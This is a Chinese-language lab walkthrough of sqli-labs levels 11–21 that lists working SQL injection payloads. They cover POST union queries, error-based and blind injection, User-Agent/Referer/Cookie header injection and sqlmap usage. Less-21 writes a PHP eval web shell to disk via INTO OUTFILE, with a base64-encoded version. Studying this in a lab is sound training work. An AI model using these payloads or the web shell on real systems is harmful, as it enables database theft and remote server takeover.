第八篇 sqli-lab实战练习(Less11-Less21)
Less-11 基于错误单引号
- 目标
1. 学会使用POST进行参数注入
2. 获取数据库信息
通过控制台,查看提交的参数
假设uname存在注入,输入:uname=' or 1=1 admin&passwd=123456,发现报错
说明存在注入,因为是字符串,发现注释符 # 和 --+ 都可以,这里我们只接使用 #, 输入:uname=' or 1=1 # admin&passwd=123456
尝试passwd是否也存在注入,输入:uname=admin&passwd=' or 1=1 123456
发现同样也存在注入,同样,输入:uname=admin&passwd=' or 1=1 # 123456,登录成功
获取字段数, 输入:uname=admin&passwd=' order by 3 # 123456 的时候报错,order by 2没有报错,说明字段数为2
使用union查询获取数据库信息:uname=admin&passwd=' union select 1,database() # 123456
获取security下的所有表:uname=admin&passwd=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security') # 123456
Less-12 基于错误双引号+)
只要将Less-11的单引号改为") 就可以,示例: uname=admin&passwd=") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security') # 123456
Less-13 基于双查询注入字符串单引号
- 目标
使用双查询完成POST注入
只有在输入单引号的时候,返回报错,其他情况下都没有回显,输入示例:uname=admin&passwd='123456
参考Less-05,获取数据库名示例:uname=admin&passwd=') union select count(),concat(database(),'|',floor(rand(0)2)) as a from information_schema.tables group by a #
Less-14 基于双查询注入字符串双引号
将Less-13的 ') 改为 " 就可以了,示例:uname=admin&passwd=" union select count(),concat(database(),'|',floor(rand(0)2)) as a from information_schema.tables group by a #
Less-15 基于布尔/时间盲注单引号
- 目标
使用sqlmap来判断是否存在注入
通过sqlmap来判断是否存在注入,输入:python sqlmap.py -u "http://www.sqllabs.com:7080/Less-15/" --data="uname=admin&passwd=123456"
返回的结果说passwd不存在注入,uname存在时间盲注,将给的payload直接粘贴到hackbar,测试一下:uname=admin' AND (SELECT 1311 FROM (SELECT(SLEEP(5)))cVVe) AND 'ZQvQ'='ZQvQ&passwd=123456
页面确实在5s才返回
使用burp来获取数据库长度
得知数据库的长度为8
标题说使用布尔盲注和时间盲注,但是通过sqlmap只得知存在时间盲注,通过burp尝试进行布尔盲注攻击,输入示例:uname=admin' and length(database())=8#&passwd=123456
发现也是存在布尔盲注的
获取其他信息可以参考:Less-8和Less-9
Less-16 基于布尔/时间盲注双引号
把Less-15的单引号注入改成") 就可以了,示例:uname=admin") and if(length(database())=8,sleep(5),1)#&passwd=123456
5s才返回
Less-17 基于错误更新查询
- 目标
学会使用extractvalue来提取错误信息
通过测试,发现注入点在passwd,示例:uname=admin&passwd=123456'
获取当前数据库:uname=admin&passwd=123456' and extractvalue(1,concat(1,(select(database())))) #
Less-18 基于错误请求头-useragent
- 目标
1. 学会对请求头进行注入
2. 学会使用updatexml提取信息
我们之前对密码进行过修改,现在先来看数据库的秘密是多少
观察登陆成功返回的信息
返回的有UA信息,在进行对uname和passwd测试的时候,发现都没有注入点,尝试对UA进行注入,发现出现了报错信息
所以注入点在UA,UA的注入是insert型,闭环采用 and '1'='1 或者 or '1'='1
获取数据库名,示例:' and updatexml(1,concat(1,(select database()),1),1) and '1'='1
Less-19 基于错误请求头-referer
和Less-18差不多,注入点在Referer参数
Less-20 基于错误请求头-cookie
登陆成功返回的数据
看到cookie有用户信息,可以尝试对cookie进行注入,通过控制台修改cookie值,然后刷新页面:
发现cookie存在注入
获取数据库信息:' union select 1,2,database() #
Less-21 Dump info outfile
注入方式和Less-7类似
查看登陆成功返回的信息
发现uname = YWRtaW4= 进行了base64编码
所以在进行注入的时候,也需要进行base64编码
') union select 1,2,'<?php @eval($_POST["pwd"]);?>' into outfile '/tmp/less21.php' #
base64
JykgdW5pb24gc2VsZWN0IDEsMiwnPD9waHAgQGV2YWwoJF9QT1NUWyJwd2QiXSk7Pz4nIGludG8gb3V0ZmlsZSAnL3RtcC9sZXNzMjEucGhwJyAj
发现正常返回,证明写入成功了
之前在less7没有提到,想使用中国菜刀进行连接,需要对apache进行重新配置,另外一方面,mysql也对写入文件进行了限制,可以通过show global variables like ‘%secure%’查看secure_file_priv参数,所以换句话说,如果这些信息、权限你都已经有了,那用outfile不就是多此一举吗
所以正常使用普通的注入就可以了,比如获取数据库信息
') union select 1,2,database() #
bs64
JykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpICM=